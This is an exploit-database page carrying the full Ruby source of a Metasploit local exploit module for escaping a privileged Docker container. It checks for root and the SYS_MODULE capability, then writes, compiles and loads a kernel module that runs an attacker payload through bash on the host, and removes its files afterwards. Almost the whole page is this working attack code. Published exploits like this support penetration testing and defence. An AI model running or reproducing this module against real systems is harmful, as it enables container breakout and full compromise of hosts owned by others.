Docker Privileged Container Kernel Escape

2024.05.06
Credit: Eran Ayalon
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::File include Msf::Post::Unix include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, { 'Name' => 'Docker Privileged Container Kernel Escape', 'Description' => %q{ This module performs a container escape onto the host as the daemon user. It takes advantage of the SYS_MODULE capability. If that exists and the linux headers are available to compile on the target, then we can escape onto the host. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nick Cottrell <Rad10Logic>', # Module writer 'Eran Ayalon', # PoC/article writer 'Ilan Sokol' # PoC/article writer ], 'Platform' => %w[linux unix], 'Arch' => [ARCH_CMD], 'Targets' => [['Automatic', {}]], 'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 20 }, 'SessionTypes' => %w[shell meterpreter], 'DefaultTarget' => 0, 'References' => [ %w[URL https://www.cybereason.com/blog/container-escape-all-you-need-is-cap-capabilities], %w[URL https://github.com/maK-/reverse-shell-access-kernel-module] ], 'DisclosureDate' => '2014-05-01', # Went in date of commits in github URL 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ] } } ) ) register_advanced_options([ OptString.new('KernelModuleName', [true, 'The name that the kernel module will be called in the system', rand_text_alpha(8)], regex: /^[\w-]+$/), OptString.new('WritableContainerDir', [true, 'A directory where we can write files in the container', "/tmp/.#{rand_text_alpha(4)}"]) ]) end # Check we have all the prerequisites to perform the escape def check # Checking database if host has already been disclosed as a container container_name = if active_db? && framework.db.workspace.hosts.where(address: session.session_host)&.first&.virtual_host framework.db.workspace.hosts.where(address: session.session_host)&.first&.virtual_host else get_container_type end unless %w[docker podman lxc].include?(container_name.downcase) return Exploit::CheckCode::Safe('Host does not appear to be container of any kind') end # is root user unless is_root? return Exploit::CheckCode::Safe('Exploit requires root inside container') end # Checking if the SYS_MODULE capability is enabled capability_bitmask = read_file('/proc/1/status')[/^CapEff:\s+[0-9a-f]{16}$/][/[0-9a-f]{16}$/].to_i(16) unless capability_bitmask & 0x0000000000010000 > 0 return Exploit::CheckCode::Safe('SYS_MODULE Capability does not appear to be enabled') end CheckCode::Vulnerable('Inside Docker container and target appears vulnerable.') end def exploit krelease = kernel_release # Check if kernel header folders exist kernel_headers_path = [ "/lib/modules/#{krelease}/build", "/usr/src/kernels/#{krelease}" ].find { |path| directory?(path) } unless kernel_headers_path fail_with(Failure::NoTarget, 'Kernel headers for this target do not appear to be installed.') end vprint_status("Kernel headers found at: #{kernel_headers_path}") # Check that our required binaries are installed unless command_exists?('insmod') fail_with(Failure::NoTarget, 'insmod does not appear to be installed.') end unless command_exists?('make') fail_with(Failure::NoTarget, 'make does not appear to be installed.') end # Check that container directory is writable if directory?(datastore['WritableContainerDir']) && !writable?(datastore['WritableContainerDir']) fail_with(Failure::BadConfig, "#{datastore['WritableContainerDir']} is not writable") end # Checking that kernel module isn't already running if kernel_modules.include?(datastore['KernelModuleName']) fail_with(Failure::BadConfig, "#{datastore['KernelModuleName']} is already loaded into the kernel. You may need to remove it manually.") end # Creating source files print_status('Creating files...') mkdir(datastore['WritableContainerDir']) unless directory?(datastore['WritableContainerDir']) write_kernel_source(datastore['KernelModuleName'], payload.encoded) write_makefile(datastore['KernelModuleName']) register_files_for_cleanup([ "#{datastore['KernelModuleName']}.c", 'Makefile' ].map { |filename| File.join(datastore['WritableContainerDir'], filename) }) # Making exploit print_status('Compiling the kernel module...') results = cmd_exec("make -C '#{datastore['WritableContainerDir']}' KERNEL_DIR='#{kernel_headers_path}' PWD='#{datastore['WritableContainerDir']}'") vprint_status('Make results') vprint_line(results) register_files_for_cleanup([ 'Module.symvers', 'modules.order', "#{datastore['KernelModuleName']}.mod", "#{datastore['KernelModuleName']}.mod.c", "#{datastore['KernelModuleName']}.mod.o", "#{datastore['KernelModuleName']}.o" ].map { |filename| File.join(datastore['WritableContainerDir'], filename) }) # Checking if kernel file exists unless file_exist?("#{datastore['WritableContainerDir']}/#{datastore['KernelModuleName']}.ko") fail_with(Failure::PayloadFailed, 'Kernel module did not compile. Run with verbose to see make errors.') end print_good('Kernel module compiled successfully') # Loading module and running exploit print_status('Loading kernel module...') results = cmd_exec("insmod '#{datastore['WritableContainerDir']}/#{datastore['KernelModuleName']}.ko'") unless results.blank? results = results.strip vprint_status('Insmod results: ' + (results.count("\n") == 0 ? results : '')) vprint_line(results) if results.count("\n") > 0 end end def cleanup # Attempt to remove kernel module if kernel_modules.include?(datastore['KernelModuleName']) vprint_status('Cleaning kernel module') cmd_exec("rmmod #{datastore['KernelModuleName']}") end # Check that kernel module was removed if kernel_modules.include?(datastore['KernelModuleName']) print_warning('Payload was not a oneshot and cannot be removed until session is ended') print_warning("Kernel module [#{datastore['KernelModuleName']}] will need to be removed manually") end super end def write_kernel_source(filename, payload_content) file_content = <<~SOURCE #include<linux/init.h> #include<linux/module.h> #include<linux/kmod.h> MODULE_LICENSE("GPL"); static int start_shell(void){ #{Rex::Text.to_c(payload_content, Rex::Text::DefaultWrap, 'command')} char *argv[] = {"/bin/bash", "-c", command, NULL}; static char *env[] = { "HOME=/", "TERM=linux", "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL }; return call_usermodehelper(argv[0], argv, env, UMH_WAIT_EXEC); } static int init_mod(void){ return start_shell(); } static void exit_mod(void){ return; } module_init(init_mod); module_exit(exit_mod); SOURCE filename = "#{filename}.c" unless filename.end_with?('.c') write_file(File.join(datastore['WritableContainerDir'], filename), file_content) end def write_makefile(filename) file_contents = <<~SOURCE obj-m +=#{filename}.o all: \tmake -C $(KERNEL_DIR) M=$(PWD) modules clean: \tmake -C $(KERNEL_DIR) M=$(PWD) clean SOURCE write_file(File.join(datastore['WritableContainerDir'], 'Makefile'), file_contents) end end


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top